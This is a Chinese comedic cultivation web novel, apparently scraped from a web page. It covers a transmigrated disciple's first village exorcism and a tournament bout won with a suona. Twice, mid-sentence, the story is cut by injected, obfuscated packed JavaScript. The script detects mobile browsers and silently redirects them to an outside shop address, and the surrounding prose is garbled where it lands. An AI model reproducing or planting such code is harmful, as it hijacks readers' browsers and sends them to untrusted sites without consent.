《咸鱼天师,但卷王满级》 1. 别问,问就是天赋异禀 青岚宗,揽月峰。 晨光刚劈开云海,把山尖染了层金边,殿前那棵八百年的老歪脖子松树上,就挂了个人。 林家铭,十四岁,性别男,爱好暂时是活着和搞钱,当前身份是揽月峰主凌霄真君座下唯一关门弟子,也是本峰著名(自封)风景线。他穿一身半旧不新的青色弟子服,腰带松垮,一条腿勾着树枝,另一条腿晃荡在半空,手里捧本《基础引气诀》,看得眉头能夹死蚊子。 “混沌灵根……天地未分,清浊交融,衍化万法……”他念得毫无感情,像在念超市打折清单,“听起来很牛逼,实操起来就他娘的是个‘薛定谔的灵根’?师父您老确定没拿错说明书?” 三个月前,他还是21世纪某大学期末考刚挂了两科的普通男大学生,一觉醒来,就成了这个同名同姓、据说因为检测出“千年难遇混沌灵根”而被凌霄真君从人堆里薅出来的幸运(?)儿。好消息:穿越了,有灵根,师父牛逼,长得还很帅——镜子里的少年眉眼锋利,鼻梁高挺,不说话时自带点冷感,属于扔人堆里能闪瞎眼那种。坏消息:混沌灵根这玩意儿,古籍记载语焉不详,实操起来全凭感觉,感觉不对,灵力就跟便秘似的,时有时无,属性随机播放。 殿门“吱呀”一声开了,走出来个老头。头发胡子白得像雪,用根破木簪随意挽着,脸上褶子能夹苍蝇,但眼睛贼亮,穿着身洗得发白的灰布道袍,脚上一双露趾草鞋,手里还拎着个酒葫芦。 这就是林家铭那牛逼哄哄的师父,凌霄真君。据说修为深不可测,脾气更莫测,青岚宗上下见了他都绕着走。 “徒儿啊,”凌霄真君打了个哈欠,酒气混着清晨的松针味飘过来,“又琢磨你那根儿呢?” 林家铭从树上一跃而下,落地轻悄,书往怀里一塞,脸上瞬间切换成阳光灿烂:“师父早!这不抓紧时间学习嘛,不能给您老丢人不是?” “少来这套。”凌霄真君乜他一眼,走到崖边,灌了口酒,“混沌灵根,妙就妙在个‘混’字。金木水火土,风雷冰暗光,你想它是啥,它就能是啥。当然,前提是你琢磨明白怎么‘想’。” “……”林家铭忍住翻白眼的冲动,“师父,说人话。” “人话就是,”凌霄真君回头,咧嘴一笑,露出一口参差不齐的黄牙,“别管那些狗屁心法口诀,你高兴怎么来就怎么来。看谁顺眼,灵气可能就是春风拂面;看谁不爽,说不定就是一道雷劈他丫的。当然,现在嘛,”他上下打量林家铭,“你顶多能让人打个喷嚏或者脚底滑一下。” 懂了,新手村,技能随机,效果搞笑。 “那我现在该干嘛?继续跟这《引气诀》死磕?”林家铭觉得前途有点灰暗。 “磕个屁。”凌霄真君把酒葫芦别回腰上,“收拾收拾,下山。去外门杂事堂接点活儿干,赚点灵石,顺便……嗯,找找感觉。记住啊,”他凑近点,压低声音,语气却一点都不严肃,“咱们揽月峰的人,不惹事,也不怕事。打得过就打,打不过……报为师名号,然后往死了阴他。道德?那玩意儿是挂在胜利者腰上的玉佩,响当当,但不是必需品。” 望着师父晃悠回殿的背影,林家铭站在原地,慢慢消化这几句话。山风刮过,他低头看看自己的手,意念微动。 指尖,“噗”,冒出一小簇火苗,橙红色,颤巍巍。 再动,火苗“滋啦”变成一小撮冰碴子。 又动,冰碴子没了,指尖缠绕上一丝几乎看不见的微风。 “……牛逼。”他最终吐出两个字,眼底那点迷茫被跃动的光取代。好像……有点意思了。 --- 外门,杂事堂。 人声鼎沸,烟雾缭绕。任务玉璧前挤满了灰扑扑的外门弟子,空气中弥漫着汗味、尘土味,还有某种灵兽饲料的微妙气息。穿着光鲜的内门弟子偶尔出现,都带着股居高临下的疏离感。 林家铭挤在人群里,毫不违和——他那身半旧弟子服,加上刻意收敛的气质,完美融入了背景板。他仰头看着玉璧上滚动的任务: “清扫灵兽谷东区,十日,十块下品灵石。”(备注:需自备口罩,雷角犀粪便味重。) “采集后山止血草一百株,三日,十五块下品灵石。”(备注:有低阶风狼出没,建议组队。) “协助丹房看管地火三日,二十块下品灵石。”(备注:控火不稳者慎接,已炸炉两次。) 啧,都是辛苦钱。林家铭目光逡巡,忽然停在最下面一条新刷出来的: “调查山下清水村孩童夜啼、家畜消瘦事件,限期五日,报酬面议。发布者:清水村村正。” 下面已经有三四个人在低声议论。 “清水村?那地方偏得很,灵气稀薄,能出什么邪祟?” “估计就是些黄皮子、小阴魂,没什么油水,路还远。” “面议?说不定就几两银子打发,凡人的事,麻烦。” 几个人摇摇头走了。 林家铭却没动。他盯着那条任务,脑子里飞快盘算:偏远,凡人村落,事件描述模糊,“面议”意味着可能有弹性空间……最重要的是,没人抢。 他一把撕下任务条,挤到登记处。负责登记的是个胖胖的执事弟子,头都没抬:“姓名,所属,任务编号。” “林家铭,揽月峰。任务丁未三七二。” 执事弟子笔尖一顿,猛地抬头,小眼睛瞪圆了:“揽……揽月峰?凌霄真君座下?”他嗓门不小,周围瞬间安静了几分,好几道目光唰地射过来,好奇、探究、难以置信。 “嗯。”林家铭点头,脸上恰到好处地露出一点初来乍到的腼腆,“师父让我下山历练历练。” “呃……好,好。”执事弟子赶紧登记,递过一块任务令牌,态度恭敬了不少,“林师弟……小心些。” 林家铭接过令牌,道了声谢,转身离开。他能感觉到背后的目光一直黏着,直到他走出杂事堂。 刚出大门,斜刺里冲出一个人,差点撞他怀里。 “哎哟!对不住对不住!”来人是个少年,看着比林家铭还小点,圆脸,眼睛很大,穿着一身不太合体的外门弟子服,肩膀上还沾着草屑,怀里抱着几本厚厚的书,跑得气喘吁吁。 “没事。”林家铭侧身让开。 圆脸少年抬头看他,眼睛一亮:“这位师兄,你是要去执行任务吗?哇,揽月峰的令牌!”他看到了林家铭腰间的任务令牌,惊呼出声,随即又不好意思地挠头,“我、我叫周圆,外门弟子。师兄你长得真好看!” “林家铭。”他简洁道,目光扫过周圆怀里那本最上面的《低阶符箓详解一百例》,“你喜欢研究符箓?” “喜欢!就是……老是画不好,灵力控制太差。”周圆有点沮丧,随即又兴奋起来,“林师兄,你是要去清水村吗?我听说那里有点怪,要不要……要不要一起?我虽然修为低,但我认得很多草药,也会画几种简单的照明、驱虫符!”他眼巴巴地看着林家铭,像只等待投喂的小动物。 林家铭心里快速评估:本地向导,辅助技能,眼神干净,暂无威胁。多个跟班,似乎不亏。 “行啊。”他爽快答应,“路上有个伴,正好。” 周圆顿时笑开了花。 两人一前一后下山。周圆话多,很快就把自己那点底漏了个干净:出身凡人小商贾家庭,有点微末资质,勉强进了外门,因为灵力操控太烂,在同期里是吊车尾,经常被欺负,只好埋头看书,理论知识倒是杂七杂八懂不少。 “林师兄,你真是凌霄真君的关门弟子啊?太厉害了!听说混沌灵根特别霸道!” “霸不霸道不知道,挺闹心是真的。”林家铭随口应着,脚下不停。山路渐窄,林木深了起来。 “对了师兄,清水村那事,你觉得会是什么?” “过去看看才知道。不过,”林家铭摘了片叶子在手里捻着,“凡人的事,再怪也有限。但‘面议’……”他笑了笑,没往下说。 周圆似懂非懂。 日头偏西时,两人到了清水村。村子不大,几十户人家,依着条小河而建。此刻炊烟袅袅,本该是宁静时分,却透着一股沉沉的暮气。村口老槐树下,几个村民聚着,面色愁苦,看到他们走来,尤其是林家铭那身虽旧但料子明显不同的弟子服和腰间令牌,顿时像见了救星,呼啦围了上来。 “仙师!可是青岚宗的仙师来了?”领头的是个干瘦老头,正是村正。 “正是。”林家铭出示令牌,语气温和,“老丈,具体情况,还请仔细说说。” 村正将他们引到自家院子,唉声叹气地讲起来。原来,从一个月前开始,村里每到子夜,总有孩童莫名惊醒,啼哭不止,怎么哄都没用,直到天快亮才疲惫睡去。同时,各家养的鸡鸭猪羊,都开始掉膘,无精打采,喂再好的食料也不长肉,甚至有几户的鸡莫名其妙死了。 请过游方的道士和尚来看,都说是“冲了阴气”,做了法事,却一点用没有。村里人心惶惶。 “仙师,您看这……”村正眼巴巴地望着林家铭。 林家铭没立刻回答,走到院角鸡笼边看了看。里面的鸡蔫头耷脑,羽毛暗淡。他伸出手指,意念微动,一丝极淡的、混杂着些许阴冷属性的灵力探出,扫过鸡身。 没什么残留的邪气,就是生机微弱,像被什么东西持续吸走了些许精气,非常微量,但架不住时间长。 “不是厉鬼,也不是妖物直接作祟。”林家铭收回手,沉吟,“倒像是……某种依附地脉或者水脉存在的、嗜好生机精气的‘东西’,范围性但微弱地抽取。” 周圆在一旁小声道:“师兄,像是‘地瘴’或者‘阴髓’的变种?书里提过,有些地底阴晦之物,会通过水脉或地气散播,影响生灵。” “有可能。”林家铭点头,“去看看水源和村子风水格局。” 村正连忙带路。村子依河而建,河水清澈。林家铭顺着河道往上走了一段,又围着村子转了转,最后停在村子西头一口看起来有些年头的古井边。井口石栏爬满青苔,井水幽深。 他示意周圆拿出一张照明符,激发后扔进井里。符光下沉,照亮井壁和水面。仔细看,井水似乎比河水更显一种沉滞的暗色,不是脏,而是一种……缺乏生机的感觉。 “是这里了。”林家铭肯定道,“阴晦之气顺着地下水脉渗入井水,村民日常饮用、灌溉,家畜也喝,虽然每次摄入极少,但日积月累,尤其是孩童敏感,夜间阴气盛时反应就大。” “那怎么办?仙师,这井我们全村都用啊!”村正急了。 “简单。”林家铭打了个响指,“两个法子。一,我布个简单的净化阵法在井口,慢慢化去阴气,但需要时间,而且这阴气源头不除,可能复发。” “二呢?”周圆追问。 林家铭咧嘴一笑,那笑容在渐暗的天色里有点晃眼:“二,把下面那玩意儿揪出来,物理超度。” 村正和周围村民听得云里雾里,但“揪出来”听懂了,连忙问:“仙师,能揪出来吗?会不会很危险?” “问题不大。”林家铭摆摆手,心里却想:危险不危险,得看那玩意儿多大个。他转向周圆,“周师弟,会画‘聚阳符’、‘驱阴符’吧?画几张,要威力大点的。” “会!但我画的可能效果……” “没事,量变引起质变。”林家铭又对村正说,“老丈,找些阳气足的物件,比如三年以上的大公鸡鸡冠血,正午太阳晒过的糯米,还有村里的壮小伙,准备几个火把,要旺。” 吩咐下去,村里立刻忙碌起来。周圆趴在一张临时搬来的小桌上,全神贯注地画符,小脸憋得通红,失败了好几次,终于成了五六张,灵力波动微弱,但至少是成了。 林家铭拿起一张“聚阳符”,指尖混沌灵力注入——他没按固定属性来,只是将一股中正平和、偏向“生发”意蕴的灵力灌了进去。 符纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189062|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的朱砂纹路陡然亮起,散发出暖洋洋的光,比周圆自己激发时亮了不止一倍! 周圆目瞪口呆:“师、师兄……你这灵力……” “别问,问就是天赋异禀。”林家铭面不改色,把其他符也如法炮制。很快,几张符箓都“精神焕发”。 东西备齐,天色也黑透了。村民聚在远处,又是害怕又是期待地看着。井边,林家铭让几个举着火把的村民围站,自己拿着那叠符,走到井口。 “周师弟,等会儿听我口令,把你画的‘小清风符’往井里丢,多丢几张,搅和搅和。” “好!” 林家铭深吸口气,将混沌灵力缓缓探入井中,向下延伸,仔细感应。井水冰凉,越往下,那股阴冷晦涩的感觉越明显。他的灵力像触手,在黑暗的水中摸索。 找到了。 在井水深处,靠近一侧井壁的缝隙里,盘踞着一团灰蒙蒙、不断蠕动的东西,像一团浑浊的水藻,又像没有实体的阴影,正丝丝缕缕地散发着吸食生机的阴晦气息。它似乎感觉到了灵力的探入,微微收缩了一下。 “就是你了。”林家铭眼神一凝,收回灵力,猛地将手中所有“聚阳符”、“驱阴符”一股脑全拍在井口石栏上,同时混沌灵力汹涌注入,不是单一属性,而是模拟出一种“灼热”、“净化”、“冲击”的混合意念! “周圆,丢符!” 周圆立刻将七八张“小清风符”全扔进井里。符光炸开,微弱的气流在井底乱窜。 井口的符箓骤然爆发出刺目的白光和暖流,顺着井口轰然冲下! “嗷——!” 一声极其细微、仿佛来自地底深处的嘶鸣响起,井水猛地翻腾了一下,冒出大股灰黑色的气泡,腥臭扑鼻。那团灰影在符箓力量和灵力冲击下剧烈扭动,似乎想钻回岩缝,但被“小清风符”搅动的水流和持续的净化之力逼得无处可逃。 林家铭没停,抄起旁边木桶里准备好的、混了鸡冠血和阳气的糯米,劈头盖脸倒进井里。又夺过一个村民的火把,将混沌灵力附在火焰上,那火焰“呼”地变成明亮的白金色,他手腕一抖,将火把直接掷入井中! 嗤——! 白金色火焰接触到翻腾的阴气黑水,如同滚油泼雪,发出剧烈的声响。井里的嘶鸣变成了痛苦的哀嚎,随即迅速减弱。 火光和白光渐渐消散,井水平复下来,那股阴冷晦涩的气息消失无踪,取而代之的是一种清爽。 林家铭拍拍手,对村正道:“好了,井里那‘阴髓虫’解决了。以后这井水打上来,烧开了喝,保险点。过两天就没事了。” 村民欢天喜地,村正更是激动得要跪下磕头。林家铭赶紧扶住:“老丈,酬劳……” 村正连忙捧出一个小布包:“仙师,小村实在没什么拿得出手的,这里是二十两银子,还有……这是小老儿祖上偶然得来的一块石头,看着奇特,但也不知有什么用,一并献给仙师,聊表心意。” 银子林家铭收了,石头也顺手接过。巴掌大,黑黢黢,表面坑洼,入手微沉,隐隐有极其微弱的、混乱的灵气波动,但细探又没了。有点意思,先留着。 婉拒了留宿,两人趁着月色赶路回山。周圆一路兴奋得叽叽喳喳:“师兄你太厉害了!那火!那符!你怎么做到的?还有,你怎么知道那是‘阴髓虫’?书上只说可能……” “猜的。”林家铭随口道,掂了掂手里的黑石头,“书是死的,东西是活的。对付这种小玩意儿,不用搞太复杂,阳气足的东西猛灌,大部分都扛不住。这叫……” 他顿了顿,想起师父的话,咧嘴一笑:“大力出奇迹,阴招保平安。” 周圆若有所思。 回到揽月峰,天已蒙蒙亮。凌霄真君居然没睡,在殿前空地上打着一套软绵绵、看起来毫无章法的拳。 “回来啦?”老头收势,吐气如箭,在晨雾中射出一米多远,“活儿干得咋样?” “搞定。”林家铭把银子抛了抛,发出悦耳的响声,又把那块黑石头递过去,“顺手捞了块这个,您老瞧瞧?” 凌霄真君接过石头,眯眼看了会儿,又用手指弹了弹,耳朵凑近听声,半晌,随手扔回给林家铭:“有点意思,像是‘混元石’的边角料,对你那混沌灵根或许有点温养作用,留着玩吧。”浑不在意。 “混元石?”林家铭接过,心里记下这个名字。 “嗯。”凌霄真君伸个懒腰,“行了,赚了钱,长了见识,也见了人心。歇着去吧。过两天宗门小比,外门内门分开热闹,你虽是我关门弟子,但名义上挂在内门,也得去露个脸。记住,”他斜睨林家铭,“咱们峰的传统是,能躺着赢就不站着,能阴着赢就不明着。为师的脸,该用的时候,别客气。” “明白!”林家铭答得响亮。 回到自己那间简朴的弟子房,林家铭把银子收好,拿起那块“混元石”边角料,在熹微晨光里仔细看。粗糙,不起眼。 但师父说,对他有用。 他将石头握在手心,尝试运转那依旧不怎么听话的混沌灵力。这一次,灵力流过掌心时,那石头似乎极轻微地颤动了一下,内部那丝混乱的波动,与他的灵力产生了一丝难以言喻的共鸣。 很微弱,但确实存在。 林家铭靠在床头,望着窗外逐渐亮起的天空。山下村庄的灯火,周圆崇拜的眼神,师父不靠谱的叮嘱,还有掌心这块奇怪的石头……碎片般的画面在脑海里闪过。 这修仙界,好像……也不全是糟心事。 他闭上眼,嘴角勾起一点微不可察的弧度。 先睡一觉。宗门小比?露个脸? 他得好好想想,怎么个“露”法,才比较符合他们揽月峰的气质,又能顺便……搞点零花钱。 窗外,云海翻腾,霞光渐起。青岚宗新的一天,刚刚开始。而某些角落,关于揽月峰那个长得过分好看、灵力属性成谜的新弟子的零星传闻,也开始悄然流传。 2. 小比惊现唢呐仙 三天后,青岚宗内门小比如期而至。 地点在外门最大的演武场——青云坪。平日里空旷的场地此刻人头攒动,旗帜飘扬。中央垒起五座高台,作为比试用。四周阶梯看台上坐满了外门弟子和内门一些来看热闹的低阶弟子,喧嚣声几乎要掀翻天上薄薄的云层。 林家铭蹲在揽月峰队伍的最末尾——如果那也能算队伍的话。揽月峰算上他,一共就俩人。师父凌霄真君一大早就不知道晃悠到哪个山头喝酒去了,临走前就扔下一句:“徒儿,玩得开心点,别输得太难看,丢人。” 所以,林家铭现在是一个人,孤零零,但很显眼。 因为他搬了把竹制躺椅,放在揽月峰那可怜的小片区域,正舒舒服服半躺在上面。手里还抓着一把不知道从哪弄来的瓜子,“咔嚓咔嚓”磕得正欢。身上还是那身半旧弟子服,头发随意束着,几缕碎发垂在额前,配上他那张过分出色的脸,在周围或紧张、或肃穆、或跃跃欲试的弟子中,简直像走错了片场。 “看,那就是揽月峰新收的关门弟子?” “长得是真好……可这做派……” “混沌灵根?听说测试时光芒乱闪,结果引气入体都费劲?” “嘘,小点声,毕竟是凌霄真君的人……” “凌霄真君又怎样?徒弟不争气,还能硬捧?我看这小比,悬。” 议论声嗡嗡传来,林家铭全当没听见,瓜子皮吐得颇有节奏,目光懒洋洋扫过全场。他在看人,也在记人。 内门各峰弟子服饰略有区别,很好认。天枢峰剑修最多,个个背剑挺胸,神色冷峻;玉衡峰多法修,袍袖宽大,气息缥缈;开阳峰体修壮汉扎堆,肌肉贲张;还有专精炼丹、炼器的百草峰、神工峰弟子,聚在一起自成圈子。 “啧,阶级分明啊。”林家铭心里嘀咕,又磕了颗瓜子。目光掠过某个角落时,顿了一下。 周圆那小子,挤在外门弟子堆里,正踮着脚往这边看,对上林家铭视线,立刻咧嘴傻笑,用力挥了挥手。他旁边还站着两个同样穿着外门弟子服的少年,一个瘦高个像竹竿,一个矮胖敦实,也都好奇地看过来。 林家铭抬了抬下巴,算是打过招呼。 很快,一位面色严肃的长老飞身上了中央主台,声音灌注灵力,传遍全场:“肃静!本届内门小比,现在开始!规则照旧,抽签决定对手,五座擂台同时进行,跌落擂台或主动认输为止,不得故意致人伤残!现在,各峰参比弟子上前抽签!” 人群骚动起来。各峰参比弟子,少则七八人,多则二三十,依次上前。轮到揽月峰,就林家铭一个。他慢悠悠从躺椅上起身,拍拍身上的瓜子屑,在众多目光注视下,走到抽签的玉箱前,伸手进去,摸出一块冰凉玉牌。 低头一看:丁字三号台,第七场。对手:百草峰,李茂。 百草峰?炼丹的?林家铭挑了挑眉,把玉牌挂回腰间,又晃悠回自己的躺椅,继续瘫着,等开场。 比试一场场进行。剑气纵横,法术轰鸣,拳脚碰撞,引来阵阵喝彩或惊呼。林家铭看得津津有味,像在看现场特效大片,手里瓜子没停过,偶尔还点评两句: “这剑法漂亮,就是下盘有点飘。” “火球术搓得挺圆,就是准头差点,打鸟呢?” “哎呦,这兄弟肌肉是练得不错,可惜脑子跟不上肌肉,直来直去的……” 他声音不大,但附近几个弟子听得清清楚楚,表情各异。有人怒目而视,有人忍俊不禁。 几个时辰过去,前面六场比完,终于轮到丁字三号台第七场。 “下一场,揽月峰林家铭,对百草峰李茂!双方上台!”裁判长老高声宣布。 唰!无数道目光瞬间聚焦过来。 百草峰那边,一个穿着淡绿色弟子服、面容有些苍白的少年深吸口气,走上擂台。他腰间挂着几个小葫芦,手里还握着一柄……药杵?药杵顶端隐约有灵光流转,似乎不是凡品。 林家铭这才不情不愿地从躺椅上站起来,活动了下脖子,慢吞吞走上擂台。和对面严阵以待的李茂形成鲜明对比。 裁判看看双方:“准备——开始!” 李茂显然研究过(或者说听说过)这个对手,不敢怠慢,第一时间将药杵往地上一顿!“噗噗噗!”擂台地面瞬间冒出十几株颜色鲜艳、形态诡异的藤蔓,张牙舞爪地向林家铭缠绕而来,同时藤蔓上散发出淡淡的粉色雾气,带着甜腻的香气。 “是百草峰的‘迷幻妖藤’和‘软筋香’!”有识货的弟子低呼,“李师兄一上来就用绝招啊!” “那林家铭据说灵力操控稀烂,怕是近不了身就得倒!” 面对急速蔓延的藤蔓和粉色雾气,林家铭站在原地,动都没动。直到藤蔓快要缠上他脚踝,粉色雾气也飘到面前时,他才忽然抬手,打了个响指。 指尖,一丝混沌灵力逸出,没有固定形态,只是带着他强烈的意念——“干燥”、“枯萎”、“驱散”。 没有惊天动地的光芒,也没有狂风大作。 但那些气势汹汹的藤蔓,在距离他身体还有三寸的地方,突然像是被抽干了水分,以肉眼可见的速度发黄、蜷缩、失去活力,软趴趴地垂落在地。而那些粉色雾气,仿佛遇到了无形的屏障,在他身前一步处打着旋,然后……就被一股不知道哪里来的、微弱却持续的小风吹散了。 擂台上瞬间干净了。 李茂:“???” 观众:“???” 裁判长老眼角抽了一下。 “李师兄,”林家铭开口了,语气特别诚恳,“你这藤,该浇水了。这香,牌子不行,下次试试‘十里香’,劲儿大。” 李茂脸涨得通红,又惊又怒,猛咬舌尖,催动更多灵力注入药杵:“少得意!看我的‘百草针’!” 他挥动药杵,空中凝聚出数十根翠绿色的灵力细针,细如牛毛,带着破空声,笼罩林家铭周身大穴!这次是纯粹的木属性灵力攻击,尖锐迅疾! 林家铭这次连响指都懒得打了。他身体微微一侧,脚下步伐看似杂乱无章地挪动了几下。 那些翠绿细针,明明覆盖范围极大,速度极快,可偏偏就在快要触及他衣角的瞬间,轨迹发生了极其细微的偏转,擦着他的身体飞过,一根都没扎中!仿佛他周围有一层无形的、滑不留手的力场。 “哎,你这针法,”林家铭一边轻松闪避,一边还在点评,“密度不够,分布有规律,预判太容易。下次可以试试无差别覆盖,或者掺点毒,光扎穴位多没意思。” 李茂气得手都在抖,灵力不要钱似的狂涌,药杵挥舞,各种低阶的木系缠绕、荆棘突刺、毒花粉雾轮番上阵,擂台一角几乎成了小型植物园兼毒气室。 可林家铭就像个在自家后花园散步的闲人,总是在最关键时刻,用最小幅度的动作,或者一点看似随意、属性不明的灵力干扰,将攻击化解于无形。他没用任何招数,没展露任何强大的灵力波动,甚至看起来有点……懒洋洋的。 但就是打不中!一点都打不中! 台下从最初的寂静,变得嗡嗡声四起。 “这……这是什么身法?” “没看到他用什么身法啊?就是瞎走?” “瞎走能全躲开?你瞎走一个我看看!” “他的灵力好怪,刚才那一下像是火?又像是风?一闪就没了。” “混沌灵根……真这么邪门?” 百草峰的弟子脸色都不好看了。李茂更是额头见汗,灵力消耗巨大,攻势明显缓了下来,眼中已有了急躁和一丝慌乱。 就在这时,林家铭忽然停住了脚步,不再闪避。他看着气喘吁吁的李茂,叹了口气,好像很无奈:“李师兄,累了?那……该我了吧?” 李茂心头一紧,全神戒备。 只见林家铭慢条斯理地从……怀里掏出了一样东西。 不是飞剑,不是符箓,不是任何常规法器。 那是一支唢呐 。黄铜的喇叭口在阳光下闪着光,黑漆漆的杆身透着股接地气的沧桑。 全场瞬间陷入一种诡异的寂静。 连裁判长老都忘了维持秩序,瞪大了眼睛。 李茂更是懵了:“你……你拿这凡俗乐器作甚?”他听说过林家铭不按常理出牌,但这……也太不按常理了! “乐器?”林家铭把唢呐嘴放到唇边,试了试音,发出“噗”的一声漏气响,他皱皱眉,调整了一下,然后对李茂露齿一笑,阳光灿烂,“李师兄,你听说过‘音攻’吗?” 音攻?李茂一愣。音律之道确实可以作为攻击手段,但那是极其冷门偏门的传承,而且需要特殊法器和高深修为,你拿个凡俗唢呐…… 没等他想明白,林家铭深吸一口气,腮帮子鼓起,运起混沌灵力——这次,他将意念集中在“震动”、“穿透”、“混乱”、“灵魂层面干扰”上,尤其是最后一点,他结合了上辈子某些“精神污染”神曲的精髓。 然后,他吹响了。 “嘀——嗒——嘀嘀嗒——!!!” 一声凄厉高亢、直冲云霄的唢呐声,猛然炸响在青云坪上空! 这声音太有穿透力了!毫无预兆!毫无美感!只有一种原始的、蛮横的、直击灵魂的喧嚣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189063|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 首当其冲的李茂,脑子里“嗡”的一声,像是被一柄重锤狠狠砸在了天灵盖上。所有凝聚的灵力瞬间溃散,手里的药杵差点脱手。眼前的景象开始晃动、重叠,耳边除了那魔音灌脑的唢呐声,再也听不到任何其他声音。心脏跟着那尖锐的节奏疯狂乱跳,胃里一阵翻江倒海。 这还不算完。 林家铭吹的调子极其诡异,不成曲调,时而尖锐如鬼哭,时而沉闷如牛吼,忽快忽慢,毫无规律可言,中间还夹杂着各种滑音、颤音,怎么让人难受怎么来。他甚至悄悄调动了一丝极淡的、模拟“阴气”的灵力混入音波,让听到的人莫名感到脊背发凉,心神不宁。 “嗷!”李茂惨叫一声,捂住耳朵,踉跄后退,脸色惨白如纸,眼神涣散,别说反击了,站都快站不稳了。 台下观众也遭了殃。离得近的弟子们纷纷露出痛苦面具,捂耳朵的捂耳朵,运功抵抗的运功抵抗,但那股音波无孔不入,带着诡异的震荡直往脑仁里钻。就连高台上的几位长老,猝不及防之下,也都眉头紧皱,面露诧异。 “这……成何体统!”一位天枢峰的剑修长老怒道。 “音攻?哪有这般……这般粗鄙不堪的音攻!”玉衡峰的法修长老也直摇头。 但裁判长老没喊停,因为李茂还没认输,也没掉下台。 林家铭吹得更起劲了,甚至还往前走了几步,唢呐口几乎要怼到李茂脸上。那音浪一波强过一波,魔性十足。 “我……我认输!认输!!!”李茂终于扛不住了,嘶声喊道,再吹下去他觉得自己神魂都要被吹散了。 唢呐声戛然而止。 林家铭放下唢呐,脸不红气不喘,对着摇摇欲坠、被同门扶下去的李茂,还客气了一句:“承让承让,李师兄,下次切磋音律啊!” 裁判长老脸色古怪地看了林家铭一眼,高声宣布:“丁字三号台,第七场,揽月峰林家铭胜!” 短暂的寂静后,台下轰然炸开! “赢了?就这么赢了?” “我的天,那是什么声音?我到现在脑袋还嗡嗡的……” “音攻?鬼的音攻!那是精神攻击!无耻!下作!” “可他确实没用违规手段啊,灵力波动也不强……” “混沌灵根……果然邪性!” “重点是他那唢呐哪来的?!谁家修仙带这个?!” 外门弟子堆里,周圆和那两个新朋友激动得脸都红了,拼命鼓掌(虽然手有点抖)。瘦高个喃喃道:“林师兄……果然非同凡响。”矮胖子捂着心口:“这调子,我现在还想吐……” 林家铭在一片复杂的目光中,淡定地走下擂台,把唢呐往怀里一塞,又回到他的躺椅边,却没立刻躺下。 因为一个人拦在了他面前。 是个天枢峰的弟子,面容冷峻,背负长剑,看着林家铭的眼神带着审视和不屑。“林家铭?揽月峰的?”他语气冷淡,“哗众取宠。下一轮若遇到我,你的小把戏,没用。” 林家铭抬眼看了看他胸前的标识,哦,天枢峰,沈剑。好像是这一代内门比较有名的剑修天才之一,刚才看到他比试,剑法确实凌厉。 “沈师兄是吧?”林家铭笑了,笑容特别真诚,“久仰久仰。您说得对,小把戏,上不了台面。下次遇到,还请沈师兄手下留情。” 沈剑冷哼一声,拂袖而去。 林家铭重新躺下,磕了颗新抓出来的瓜子,眯着眼望着天。耳边是各种关于他、关于唢呐、关于混沌灵根的议论,沸反盈天。 “师父说得对啊,”他嚼着瓜子,心里美滋滋,“能躺着赢,干嘛站着?能阴着赢,干嘛明着?这才第一场,好玩儿的还在后头呢。” 他摸了摸怀里的唢呐,冰凉的铜管似乎还残留着刚才吹奏时的震颤。这玩意儿是他前几天在山下镇子杂货铺角落里发现的,蒙了厚厚一层灰,老板当破烂卖,他花了两钱银子买的。本来只是想试试混沌灵力能不能玩点花的,没想到效果……拔群。 “看来,以后得多开发点‘非主流’法器。”他琢磨着,“板砖?折凳?绣花针?或者……石灰粉?” 想着想着,他嘴角的弧度越来越大。 青云坪上,比试继续,但许多人的心思,已经不自觉地飘向了那个躺在角落、磕着瓜子、一脸无害的俊美少年身上。 揽月峰林家铭。 这个名字,连同那声魔性十足的唢呐,以一种极其另类的方式,开始在青岚宗年轻一代中迅速传播开来。 而属于他的“全能”且“离谱”的修仙之路,这才刚刚吹响第一个跑调的音符。 3. 阴人的艺术与友谊的船 小比第一轮结束,晋级的弟子名单被张贴出来。林家铭的名字混在一堆或光芒万丈、或实力雄厚的内门精英中间,显得格外扎眼,后面还仿佛自带备注:(唢呐选手)。 他没在意,揣着赢来的十块下品灵石(小比第一轮胜者奖励),打算去外门坊市转转,看能不能淘换点有趣又便宜的东西。刚走出青云坪范围,就听见后面有人喊。 “林师兄!林师兄!等等我们!” 回头一看,是周圆,呼哧带喘地跑过来,后面还跟着第一场比试时他旁边那俩——瘦高个和矮胖子。三个人脸上都带着兴奋的潮红,尤其是周圆,眼睛亮得像探照灯。 “恭喜师兄旗开得胜!”周圆跑到跟前,笑嘻嘻地拱手。 “恭喜林师兄!”瘦高个和矮胖子也跟着行礼,动作有点拘谨。 “同喜同喜,”林家铭摆摆手,目光扫过三人,“你们这是?” “哦哦,忘了介绍,”周圆一拍脑门,指着瘦高个,“这是赵铁柱,别看他瘦,力气大着呢,是开阳峰外门弟子,主修体术基础。”又指向矮胖子,“这是钱富贵,跟我一样,没啥特长,就喜欢琢磨点小机关、小玩意儿,手巧。” 赵铁柱憨厚地笑了笑,钱富贵则搓着手,有点不好意思。 “林师兄,”周圆凑近点,压低声音,但压不住兴奋,“你那唢呐……太绝了!李茂那脸色,笑死我了!还有你那躲闪的身法,怎么练的?教教我呗?” 